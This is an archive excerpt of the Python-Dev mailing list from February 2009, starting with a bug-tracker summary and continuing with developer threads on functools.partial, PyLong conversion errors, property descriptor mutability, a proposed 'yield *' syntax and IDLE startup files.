http://bugs.python.org/issue5147 created aantony gzip.open breaks with 'U' flag 02/04/09 http://bugs.python.org/issue5148 created Chris.Barker patch, easy, needs review syntactic sugar: type coercion on pointer assignment 02/04/09 http://bugs.python.org/issue5149 created PeterASilva IDLE to support reindent.py 02/04/09 http://bugs.python.org/issue5150 created rhettinger extractall method for TarFile objects not setting owner:group on 02/04/09 CLOSED http://bugs.python.org/issue5151 created npatters Add a JSON-RPC module 02/04/09 CLOSED http://bugs.python.org/issue5152 created rhettinger Extra ) in optparse sample 02/04/09 CLOSED http://bugs.python.org/issue5153 created adamvan OSX broken poll testing doesn't work 02/04/09 http://bugs.python.org/issue5154 created bbangert Multiprocessing.Queue created by sub-process fails when used in 02/05/09 http://bugs.python.org/issue5155 created bbutler IDLE exits with UnicodeDecodeError on Ctrl+Space 02/05/09 http://bugs.python.org/issue5156 created scav os.stat('foo') succeds if 'foo.exe' exists on cygwin 02/05/09 CLOSED http://bugs.python.org/issue5157 created calandoa Document distutils 'depends' option for extensions 02/05/09 http://bugs.python.org/issue5158 created mbalsera patch Indicating packages to be loaded when a Tcl interpreter is creat 02/05/09 http://bugs.python.org/issue5159 created gpolo patch Intermittant segmentation fault with ctrl-c (threads and queues) 02/05/09 http://bugs.python.org/issue5160 created cgoldberg wrong paths for ctypes cleanup 02/06/09 http://bugs.python.org/issue5161 created nascheme multiprocessing cannot spawn child from a Windows service 02/06/09 http://bugs.python.org/issue5162 created orlenko tkinter.scrolledtext: new text is hidden after using insert() 02/06/09 http://bugs.python.org/issue5163 created ringhome backport distutils 3.x changes into 2.7 when appliabl 02/06/09 http://bugs.python.org/issue5164 created tarek os.rename and other raise WindowsError 02/06/09 CLOSED http://bugs.python.org/issue5165 created krisvale ElementTree and minidom don't prevent creation of not well-forme 02/06/09 http://bugs.python.org/issue5166 created ods distutils/test_customize_compiler fails on windows 02/06/09 CLOSED http://bugs.python.org/issue5167 created ocean-city patch shutil.copystat does not copy the "hidden" flag on windows 02/06/09 http://bugs.python.org/issue5168 created throbi Default hash not equal to id on AMD Sempron 02/06/09 http://bugs.python.org/issue5169 created chemacortes logging to file + encoding 02/06/09 http://bugs.python.org/issue5170 created shamilbi itertools.product docstring missing 'repeat' argument 02/06/09 http://bugs.python.org/issue5171 created marketdickinson Issues Now Closed (54) ______________________ Distutils add ability to skip build [Feature Request] 387 days http://bugs.python.org/issue1815 tarek Update version number in __init__.py 388 days http://bugs.python.org/issue1835 lemburg easy __import__ with fromlist=[''] causes double initialization of mo 356 days http://bugs.python.org/issue2090 brett.cannon distutils package_dir/package_data failure 248 days http://bugs.python.org/issue3031 tarek socket.socket.recv broken (unbearably slow) 154 days http://bugs.python.org/issue3766 samslists removed types from distutils.core [patch] 131 days http://bugs.python.org/issue3987 tarek patch python tests failure if builddir <> sourcedir 121 days http://bugs.python.org/issue4070 nascheme patch update SIG web pages 111 days http://bugs.python.org/issue4137 georg.brandl Separate build dir broken 108 days http://bugs.python.org/issue4151 nascheme patch Use a named tuple for sys.version_info 89 days http://bugs.python.org/issue4285 eric.smith patch, easy Python 2.6 fails to build with Py_NO_ENABLE_SHARED 62 days http://bugs.python.org/issue4494 loewis patch Wrong formatting of contributor list in About page 61 days http://bugs.python.org/issue4563 georg.brandl wsgiref package totally broken 28 days http://bugs.python.org/issue4718 benjamin.peterson patch Object allocation stress leads to segfault on RHEL 44 days http://bugs.python.org/issue4732 farshad cmp gone documentations 39 days http://bugs.python.org/issue4760 georg.brandl ctypes.util.find_library incorrectly documented 33 days http://bugs.python.org/issue4820 georg.brandl optparse: Callback example 1 is confusing 32 days http://bugs.python.org/issue4827 georg.brandl Allow buffering for HTTPResponse 26 days http://bugs.python.org/issue4879 krisvale patch, patch binascii.crc32() - document signed vs unsigned results 21 days http://bugs.python.org/issue4903 gregory.p.smith update distutils.README 18 days http://bugs.python.org/issue4987 tarek yield's documentation not updated 18 days http://bugs.python.org/issue4992 georg.brandl The Py_SetPythonHome C API function is undocumented 16 days http://bugs.python.org/issue5015 georg.brandl Thread.daemon docs 14 days http://bugs.python.org/issue5031 georg.brandl patch, needs review xml.parsers.expat make a dictionary which keys are broken if buf 8 days http://bugs.python.org/issue5036 benjamin.peterson Policy.DomainStrict in cookielib example code 11 days http://bugs.python.org/issue5059 georg.brandl Distutils should create install dir if needed 7 days http://bugs.python.org/issue5070 tarek Distutils should not fail if install dir is not in PYTHONPATH 7 days http://bugs.python.org/issue5071 tarek weird memory usage in multiprocessing module 2 days http://bugs.python.org/issue5092 LambertDW strange thing after call PyObject_CallMethod 7 days http://bugs.python.org/issue5096 georg.brandl sqlite3.Row class, handling duplicate column names resulting fro 7 days http://bugs.python.org/issue5105 georg.brandl Update Naming & Binding statement for 3.0 1 days http://bugs.python.org/issue5106 benjamin.peterson built-in open(..., encoding=vague_default) 6 days http://bugs.python.org/issue5107 georg.brandl Incorrect documentation for PyErr_BadInternalCall 1 days http://bugs.python.org/issue5112 benjamin.peterson '%.2f' % 2.545 doesn't round correctly 0 days http://bugs.python.org/issue5118 marketdickinson wide character parameter handling in ctypes 3 days http://bugs.python.org/issue5119 amaury.forgeotdarc Disabling test_ttk_guionly on mac 1 days http://bugs.python.org/issue5120 gpolo Virus found in python-3.0.msi 1 days http://bugs.python.org/issue5123 gpolo Obsolete reference to "unicode" in glossary 3 days http://bugs.python.org/issue5130 georg.brandl distutils: libpython not found when building python extensions o 3 days http://bugs.python.org/issue5132 tarek patch Error with Eval 0 days http://bugs.python.org/issue5133 ezio.melotti Some Built-in Functions entries in Library Manual are missing Pe 2 days http://bugs.python.org/issue5140 georg.brandl PySys_SetArgv has wrong documentation 2 days http://bugs.python.org/issue5144 georg.brandl extractall method for TarFile objects not setting owner:group on 0 days http://bugs.python.org/issue5151 lars.gustaebel Add a JSON-RPC module 1 days http://bugs.python.org/issue5152 rhettinger Extra ) in optparse sample 1 days http://bugs.python.org/issue5153 georg.brandl os.stat('foo') succeds if 'foo.exe' exists on cygwin 1 days http://bugs.python.org/issue5157 calandoa os.rename and other raise WindowsError 0 days http://bugs.python.org/issue5165 krisvale distutils/test_customize_compiler fails on windows 0 days http://bugs.python.org/issue5167 tarek patch Set option for subprocess in setup.py 1925 days http://bugs.python.org/issue831643 tarek list(obj) can swallow KeyboardInterrupt 199 days http://bugs.python.org/issue1242657 rhettinger patch dirutils.mkpath (verbose option does not work) 1255 days http://bugs.python.org/issue1276768 tarek Distutils bugfix: Read $AR from the environment/Makefile. 940 days http://bugs.python.org/issue1520877 tarek patch Text search gives bad count if called from variable trace 836 days http://bugs.python.org/issue1581476 gpolo patch Give Partial the ability to skip positionals 652 days http://bugs.python.org/issue1706256 jpe Top Issues Most Discussed (10) ______________________________ 35 Python on Windows disables all C runtime library assertions 36 days open http://bugs.python.org/issue4804 13 Expose simplegeneric function in functools module 4 days open http://bugs.python.org/issue5135 13 UnicodeEncodeError - I can't even see license 5 days open http://bugs.python.org/issue5127 13 Add Google's ipaddr.py to the stdlib 135 days open http://bugs.python.org/issue3959 10 Add combinatoric counting functions to the math module. 4 days open http://bugs.python.org/issue5139 10 xml.sax and xml.dom fetch DTDs by default 357 days open http://bugs.python.org/issue2124 9 compileall: consider ctime 4 days open http://bugs.python.org/issue5128 9 Faster opcode dispatch on gcc 42 days open http://bugs.python.org/issue4753 9 tkinter memory leak problem 612 days open http://bugs.python.org/issue1731706 8 Compiler warnings in sqlite module 4 days open http://bugs.python.org/issue5134 From catch-all at masklinn.net Fri Feb 6 18:24:38 2009 From: catch-all at masklinn.net (Xavier Morel) Date: Fri, 6 Feb 2009 18:24:38 +0100 Subject: [Python-Dev] Partial function application 'from the right' In-Reply-To: <498B6E3E.8020309@pearwood.info> References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com> <43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com> <498B6E3E.8020309@pearwood.info> Message-ID: On 5 Feb 2009, at 23:54 , Steven D'Aprano wrote: > Raymond Hettinger wrote: > >>>> The arguments for and against the patch could be brought against >>>> partial() >>>> itself, so I don't understand the -1's at all. >>> >>> Quite so, but that doesn't justify adding more capabilities to >>> partial(). >> I concur with Collin. Lever arguments are a road to bloat. > > One person's "bloat" is another person's rich and complete toolbox. > > > "In for a penny, in for a pound" is not a language design principle. > > Neither are "slippery slope" arguments. > >> One of the real problems with partial() and its variants is that >> they provide almost no advantage over an equivalent lambda. > > How about speed? I don't have a recent version of Python here to > test, but my recollection is that partial is significantly faster > than lambda. And even if it currently isn't, there could be (is?) > more opportunity to optimize partial. > > I guess that the voting on this is going to be fall along functional > lines: those who like functional languages will vote +1 on partial > and co, and those who don't will vote -1. > > While I don't dislike partial(), I'd rather see one good use-case > for partial_right() to be removed: built-ins that don't accept > keywords. From Ben North's post starting this thread: > > "I find 'functools.partial' useful, but occasionally I'm unable to > use it because it lacks a 'from the right' version. E.g., to create > a function which splits a string on commas, you can't say > > # Won't work when called: > split_comma = partial(str.split, sep = ',') > > and to create a 'log to base 10' function, you can't say > > # Won't work when called: > log_10 = partial(math.log, base = 10.0) > > because str.split and math.log don't take keyword arguments." > Wouldn't a `flip` function (reverse the order of the function's arguments) be more flexible and general than a `partial_right` one? Your first case would become # we're not ignoring any argument, so we have to provide `maxsplit` split_comma = partial(flip(str.split), None, ',') and the second one would yield log_10 = partial(flip(math.log), 10.0) and if we only want to fill-in the rightmost argument, we can flip the result to get the original order back: split_5 = flip(partial(flip(str.split), 5)) While better kwargs support would be even better, there probably always will be kwarg-less functions/methods, so the ability to partially apply from the right stays interesting. From dalcinl at gmail.com Fri Feb 6 22:04:44 2009 From: dalcinl at gmail.com (Lisandro Dalcin) Date: Fri, 6 Feb 2009 19:04:44 -0200 Subject: [Python-Dev] negative PyLong integer -> unsigned integer, TypeError or OverflowError? Message-ID: While hacking on Cython to make it recognize 'size_t' as a pre-defined C integral type, I've found somethig that seems to be (pretty small) inconsistency. At Objects/longobject.c, you should see that in almost all cases OverflowError is raised when a unsigned integral is requested from a negative PyLong. However, See this one: int _PyLong_AsByteArray(PyLongObject* v, unsigned char* bytes, size_t n, int little_endian, int is_signed) { <...> if (!is_signed) { PyErr_SetString(PyExc_TypeError, "can't convert negative long to unsigned"); return -1; } <...> } Does it make sense to change that code to raise OverflowError? -- Lisandro Dalc?n --------------- Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC) Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC) Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET) PTLC - G?emes 3450, (3000) Santa Fe, Argentina Tel/Fax: +54-(0)342-451.1594 From dickinsm at gmail.com Fri Feb 6 22:25:26 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Fri, 6 Feb 2009 21:25:26 +0000 Subject: [Python-Dev] negative PyLong integer -> unsigned integer, TypeError or OverflowError? In-Reply-To: References: Message-ID: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com> On Fri, Feb 6, 2009 at 9:04 PM, Lisandro Dalcin wrote: > At Objects/longobject.c, you should see that in almost all cases > OverflowError is raised when a unsigned integral is requested from a > negative PyLong. However, See this one: > [...] > if (!is_signed) { > PyErr_SetString(PyExc_TypeError, > "can't convert negative long to unsigned"); > return -1; > } I agree that TypeError seems wrong here. Please could you file a bug report at bugs.python.org? Mark From curt at hagenlocher.org Fri Feb 6 23:44:33 2009 From: curt at hagenlocher.org (Curt Hagenlocher) Date: Fri, 6 Feb 2009 14:44:33 -0800 Subject: [Python-Dev] Are property descriptors intended to be immutable? Message-ID: ...because they're not quite :). Should I file this as a bug report? (I get the same results under 2.6 and 3.0.) PS C:\Program Files (x86)\CCP\EVE> C:\Python25\python.exe Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> class x(object): ... @property ... def foo(self): return 1 ... >>> inst = x() >>> inst.foo 1 >>> x.foo.__init__(lambda self: 2) >>> inst.foo 2 >>> ^Z -- Curt Hagenlocher curt at hagenlocher.org From dalcinl at gmail.com Sat Feb 7 00:38:53 2009 From: dalcinl at gmail.com (Lisandro Dalcin) Date: Fri, 6 Feb 2009 20:38:53 -0300 Subject: [Python-Dev] negative PyLong integer -> unsigned integer, TypeError or OverflowError? In-Reply-To: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com> References: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com> Message-ID: Done, http://bugs.python.org/issue5175 On Fri, Feb 6, 2009 at 6:25 PM, Mark Dickinson wrote: > On Fri, Feb 6, 2009 at 9:04 PM, Lisandro Dalcin wrote: >> At Objects/longobject.c, you should see that in almost all cases >> OverflowError is raised when a unsigned integral is requested from a >> negative PyLong. However, See this one: >> [...] >> if (!is_signed) { >> PyErr_SetString(PyExc_TypeError, >> "can't convert negative long to unsigned"); >> return -1; >> } > > I agree that TypeError seems wrong here. > > Please could you file a bug report at bugs.python.org? > > Mark > -- Lisandro Dalc?n --------------- Centro Internacional de M?todos Computacionales en Ingenier?a (CIMEC) Instituto de Desarrollo Tecnol?gico para la Industria Qu?mica (INTEC) Consejo Nacional de Investigaciones Cient?ficas y T?cnicas (CONICET) PTLC - G?emes 3450, (3000) Santa Fe, Argentina Tel/Fax: +54-(0)342-451.1594 From guido at python.org Sat Feb 7 01:04:22 2009 From: guido at python.org (Guido van Rossum) Date: Fri, 6 Feb 2009 16:04:22 -0800 Subject: [Python-Dev] Are property descriptors intended to be immutable? In-Reply-To: References: Message-ID: On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher wrote: > ...because they're not quite :). Should I file this as a bug report? > (I get the same results under 2.6 and 3.0.) > > PS C:\Program Files (x86)\CCP\EVE> C:\Python25\python.exe > Python 2.5.2 (r252:60911, Feb 21 2008, 13:11:45) [MSC v.1310 32 bit > (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. >>>> class x(object): > ... @property > ... def foo(self): return 1 > ... >>>> inst = x() >>>> inst.foo > 1 >>>> x.foo.__init__(lambda self: 2) >>>> inst.foo > 2 >>>> ^Z No, this is just how it works. I hope they aren't documented as immuable? -- --Guido van Rossum (home page: http://www.python.org/~guido/) From dickinsm at gmail.com Sat Feb 7 09:05:22 2009 From: dickinsm at gmail.com (Mark Dickinson) Date: Sat, 7 Feb 2009 08:05:22 +0000 Subject: [Python-Dev] negative PyLong integer -> unsigned integer, TypeError or OverflowError? In-Reply-To: References: <5c6f2a5d0902061325n60fab329hb7653c69893603cc@mail.gmail.com> Message-ID: <5c6f2a5d0902070005ud586b86p235df7dca3a57971@mail.gmail.com> On Fri, Feb 6, 2009 at 11:38 PM, Lisandro Dalcin wrote: > Done, http://bugs.python.org/issue5175 Thank you! Mark From greg.ewing at canterbury.ac.nz Sat Feb 7 10:04:29 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sat, 07 Feb 2009 22:04:29 +1300 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> Message-ID: <498D4E9D.6070405@canterbury.ac.nz> Guido van Rossum wrote: > It would be way too confusing to have "a different form of call" with > totally different semantics that nevertheless used the same > *terminology* as is used for regular calls. I expect you're right, so I won't argue for calling it "call" any more. I'd still like to find a good name for it, though. The other important thing is that my proposed construct should be usable as an expression, and its value should be whatever is returned by the called generator when it exits. E.g. if we continue spelling it "yield *" for the moment, then def f(): v = yield *g() print v def g(): yield 42 return "spam" for x in f(): pass should end up printing "spam". Would you entertain the idea of a "yield *" expression with those semantics? -- Greg From metawilm at gmail.com Sat Feb 7 10:31:35 2009 From: metawilm at gmail.com (Willem Broekema) Date: Sat, 7 Feb 2009 10:31:35 +0100 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <498D4E9D.6070405@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> Message-ID: On Sat, Feb 7, 2009 at 10:04 AM, Greg Ewing wrote: > def f(): > v = yield *g() > print v > > def g(): > yield 42 > return "spam" Function g violates the current limitation that generators can't return with a value. So can g only be used using "yield *" then, or would that limitation be removed? - Willem From curt at hagenlocher.org Sat Feb 7 18:41:05 2009 From: curt at hagenlocher.org (Curt Hagenlocher) Date: Sat, 7 Feb 2009 09:41:05 -0800 Subject: [Python-Dev] Are property descriptors intended to be immutable? In-Reply-To: References: Message-ID: On Fri, Feb 6, 2009 at 4:04 PM, Guido van Rossum wrote: > On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher wrote: >> ...because they're not quite :). Should I file this as a bug report? > > No, this is just how it works. I hope they aren't documented as immuable? Not that I know of :). But the individual properties of the descriptor are all read-only and that the implementations of setter, getter and deleter return new objects instead of mutating and returning the old descriptor. So it seemed a little odd that there was just one way remaining in which the object could be mutated. (I'm a recent convert to the joys of immutability. :) -- Curt Hagenlocher curt at hagenlocher.org From guido at python.org Sat Feb 7 19:23:20 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 7 Feb 2009 10:23:20 -0800 Subject: [Python-Dev] Are property descriptors intended to be immutable? In-Reply-To: References: Message-ID: On Sat, Feb 7, 2009 at 9:41 AM, Curt Hagenlocher wrote: > On Fri, Feb 6, 2009 at 4:04 PM, Guido van Rossum wrote: >> On Fri, Feb 6, 2009 at 2:44 PM, Curt Hagenlocher wrote: >>> ...because they're not quite :). Should I file this as a bug report? >> >> No, this is just how it works. I hope they aren't documented as immuable? > > Not that I know of :). But the individual properties of the > descriptor are all read-only and that the implementations of setter, > getter and deleter return new objects instead of mutating and > returning the old descriptor. So it seemed a little odd that there > was just one way remaining in which the object could be mutated. You're basically using an "API" that wasn't meant to be invoked directly. I don't particularly care that properties can be mutated, but I don't really care that they should be 100% immutable either. IMO it's enough that the APIs that exist to be used explicitly don't modify the property in place; getter and friends return a new object so that you can override or extend a property in a subclass, and there obviously you don't want to mutate the base class. In the balance I'd say that the "backdoor" you found is probably harmless, and perhaps someone can find a good use for it, so I'm disinclined to "fix" this. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Sat Feb 7 19:25:54 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 7 Feb 2009 10:25:54 -0800 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <498D4E9D.6070405@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> Message-ID: We already have yield expressions and they mean something else... On Sat, Feb 7, 2009 at 1:04 AM, Greg Ewing wrote: > Guido van Rossum wrote: > >> It would be way too confusing to have "a different form of call" with >> totally different semantics that nevertheless used the same >> *terminology* as is used for regular calls. > > I expect you're right, so I won't argue for calling > it "call" any more. > > I'd still like to find a good name for it, though. > The other important thing is that my proposed construct > should be usable as an expression, and its value > should be whatever is returned by the called generator > when it exits. E.g. if we continue spelling it > "yield *" for the moment, then > > def f(): > v = yield *g() > print v > > def g(): > yield 42 > return "spam" > > for x in f(): > pass > > should end up printing "spam". > > Would you entertain the idea of a "yield *" expression > with those semantics? > > -- > Greg > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From MLMLists at Comcast.net Sat Feb 7 20:09:18 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Sat, 7 Feb 2009 14:09:18 -0500 Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart Message-ID: I have a small change (shown below) to PyShell.py in idlelib that causes the subprocess interpreter to read IDLESTARTUP or PYTHONSTARTUP each time it restarts. To me this would make IDLE much more useful for myself and students I teach. It isn't quite clear what behavior to install with the enabling patch, so I would like some feedback before submitting it. The main question is: Shouldn't IDLE always read IDLESTARTUP (if defined) or PYTHONSTARTUP (if IDLESTARTUP is not defined and PYTHONSTARTUP is) when it starts rather than that requiring a command-line switch as it does now? This is the behavior of python, and I don't see why it should be any different for IDLE. More importantly, there is no convenient way to say "and read my startup file" when double-clicking the IDLE icon. (I'm on a Mac. On Windows the -s switch could be added to an icon for IDLE, but that's still awkward.) Secondary questions; If IDLE is changed to read a startup file, should the -s switch be dropped altogether? If so, should a -q switch be added (as with emacs) to start without loading the startup file? I think yes to both. When the subprocess interpreter is restarted should it look in the environment for the current values of IDLESTARTUP and PYTHONSTARTUP, or should IDLE store those values in a property of the subprocess interpreter when first started and have restart go directly to the saved path even if the value of IDLESTARTUP or PYTHONSTARTUP has changed since IDLE had been started. I think restart should go to the path as it was when IDLE was started and ignore subsequent changes. Or at least the reststart should notice the change and present a dialog asking the user to choose between the old path and the new one. The diff modifies PyShell by copying the four lines of code that load IDLESTARTUP or PYTHONSTARTUP from where they appear in the initial startup code and adding to where the subprocess interpreter writes "RESTART" to the console. @@ -434,6 +434,10 @@ console.write(halfbar + ' RESTART ' + halfbar) console.text.mark_set("restart", "end-1c") console.text.mark_gravity("restart", "left") + filename = os.environ.get("IDLESTARTUP") or \ + os.environ.get("PYTHONSTARTUP") + if filename and os.path.isfile(filename): + self.execfile(filename) console.showprompt() # restart subprocess debugger if debug: -------------- next part -------------- An HTML attachment was scrubbed... URL: From greg.ewing at canterbury.ac.nz Sat Feb 7 21:16:11 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sun, 08 Feb 2009 09:16:11 +1300 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> Message-ID: <498DEC0B.7030903@canterbury.ac.nz> Willem Broekema wrote: > Function g violates the current limitation that generators can't > return with a value. So can g only be used using "yield *" then, or > would that limitation be removed? The limitation would be removed, in the interests of making it easier to use generators as coroutines. -- Greg From ironfroggy at gmail.com Sat Feb 7 21:26:32 2009 From: ironfroggy at gmail.com (Calvin Spealman) Date: Sat, 7 Feb 2009 15:26:32 -0500 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <498DEC0B.7030903@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> <498DEC0B.7030903@canterbury.ac.nz> Message-ID: <76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com> All of this debate is moot without the foundation of a common library on which we would be building these coroutines. Any proposal of a specific coroutine syntax is worthless without a time and community tested coroutine implementation, which would be subject to the same rigerous inclusion requirements as any other 3rd party library. Only then, some time in the future, would any argument about a specific syntax be worth real consideration. Let's not jump the shark. On Sat, Feb 7, 2009 at 3:16 PM, Greg Ewing wrote: > Willem Broekema wrote: > >> Function g violates the current limitation that generators can't >> return with a value. So can g only be used using "yield *" then, or >> would that limitation be removed? > > The limitation would be removed, in the interests > of making it easier to use generators as coroutines. > > -- > Greg > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: > http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com > -- Read my blog! I depend on your acceptance of my opinion! I am interesting! http://techblog.ironfroggy.com/ Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy From guido at python.org Sat Feb 7 21:31:51 2009 From: guido at python.org (Guido van Rossum) Date: Sat, 7 Feb 2009 12:31:51 -0800 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com> References: <498991D9.3060407@avl.com> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> <498DEC0B.7030903@canterbury.ac.nz> <76fd5acf0902071226r28049415h38de25b2147ff861@mail.gmail.com> Message-ID: Time to move to this to python-ideas, folks. On Sat, Feb 7, 2009 at 12:26 PM, Calvin Spealman wrote: > All of this debate is moot without the foundation of a common library > on which we would be building these coroutines. Any proposal of a > specific coroutine syntax is worthless without a time and community > tested coroutine implementation, which would be subject to the same > rigerous inclusion requirements as any other 3rd party library. Only > then, some time in the future, would any argument about a specific > syntax be worth real consideration. > > Let's not jump the shark. > > On Sat, Feb 7, 2009 at 3:16 PM, Greg Ewing wrote: >> Willem Broekema wrote: >> >>> Function g violates the current limitation that generators can't >>> return with a value. So can g only be used using "yield *" then, or >>> would that limitation be removed? >> >> The limitation would be removed, in the interests >> of making it easier to use generators as coroutines. >> >> -- >> Greg >> _______________________________________________ >> Python-Dev mailing list >> Python-Dev at python.org >> http://mail.python.org/mailman/listinfo/python-dev >> Unsubscribe: >> http://mail.python.org/mailman/options/python-dev/ironfroggy%40gmail.com >> > > > > -- > Read my blog! I depend on your acceptance of my opinion! I am interesting! > http://techblog.ironfroggy.com/ > Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > http://mail.python.org/mailman/listinfo/python-dev > Unsubscribe: http://mail.python.org/mailman/options/python-dev/guido%40python.org > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From skippy.hammond at gmail.com Sun Feb 8 00:13:50 2009 From: skippy.hammond at gmail.com (Mark Hammond) Date: Sun, 08 Feb 2009 10:13:50 +1100 Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k Message-ID: <498E15AE.6060103@gmail.com> Hi all, I'm not sure if the following is a bug I should report or simply an artifact of the implementation and/or simply the way things work on py3k: % py30 -c "str(memoryview(bytearray((1,2,3))))" Traceback (most recent call last): File "", line 1, in TypeError: __str__ returned non-string (type bytes) Cheers, Mark From solipsis at pitrou.net Sun Feb 8 00:21:21 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Sat, 7 Feb 2009 23:21:21 +0000 (UTC) Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k References: <498E15AE.6060103@gmail.com> Message-ID: Mark Hammond gmail.com> writes: > > I'm not sure if the following is a bug I should report or simply an > artifact of the implementation and/or simply the way things work on py3k: > [...] It's a bug. Regards Antoine. From greg.ewing at canterbury.ac.nz Sun Feb 8 02:00:47 2009 From: greg.ewing at canterbury.ac.nz (Greg Ewing) Date: Sun, 08 Feb 2009 14:00:47 +1300 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> Message-ID: <498E2EBF.7090309@canterbury.ac.nz> Guido van Rossum wrote: > We already have yield expressions and they mean something else... They don't have a "*" in them, though, and I don't think the existing meaning of yield as an expression would carry over into the "yield *" variant, so there shouldn't be any conflict. But if you think there will be a conflict, or that the similarity would be too confusing, maybe the new construct should be called something else. I'm open to suggestions. -- Greg From glyph at divmod.com Sun Feb 8 02:50:07 2009 From: glyph at divmod.com (glyph at divmod.com) Date: Sun, 08 Feb 2009 01:50:07 -0000 Subject: [Python-Dev] yield * (Re: Missing operator.call) In-Reply-To: <498E2EBF.7090309@canterbury.ac.nz> References: <498991D9.3060407@avl.com> <498BC891.4020103@canterbury.ac.nz> <498BCB29.4070005@canterbury.ac.nz> <498BF062.5000407@canterbury.ac.nz> <87ljskdiyy.fsf@xemacs.org> <498C1D0A.4040200@canterbury.ac.nz> <498D4E9D.6070405@canterbury.ac.nz> <498E2EBF.7090309@canterbury.ac.nz> Message-ID: <20090208015007.12555.885411350.divmod.xquotient.4298@weber.divmod.com> On 01:00 am, greg.ewing at canterbury.ac.nz wrote: >Guido van Rossum wrote: >>We already have yield expressions and they mean something else... > >They don't have a "*" in them, though, and I don't >think the existing meaning of yield as an expression >would carry over into the "yield *" variant, so there >shouldn't be any conflict. > >But if you think there will be a conflict, or that the >similarity would be too confusing, maybe the new >construct should be called something else. I'm >open to suggestions. I'm *already* regretting poking my head into this particular bike shed, but... has anyone considered the syntax 'yield from iterable'? i.e. def foo(): yield 1 yield 2 def bar(): yield from foo() yield from foo() list(bar()) -> [1, 2, 1, 2] I suggest this because (1) it's already what I say when I see the 'for' construct, i.e. "foo then *yield*s all results *from* bar", and (2) no new keywords are required. From skippy.hammond at gmail.com Sun Feb 8 04:05:40 2009 From: skippy.hammond at gmail.com (Mark Hammond) Date: Sun, 08 Feb 2009 14:05:40 +1100 Subject: [Python-Dev] str() on memoryview of bytearray failing on py3k In-Reply-To: References: <498E15AE.6060103@gmail.com> Message-ID: <498E4C04.8020906@gmail.com> On 8/02/2009 10:21 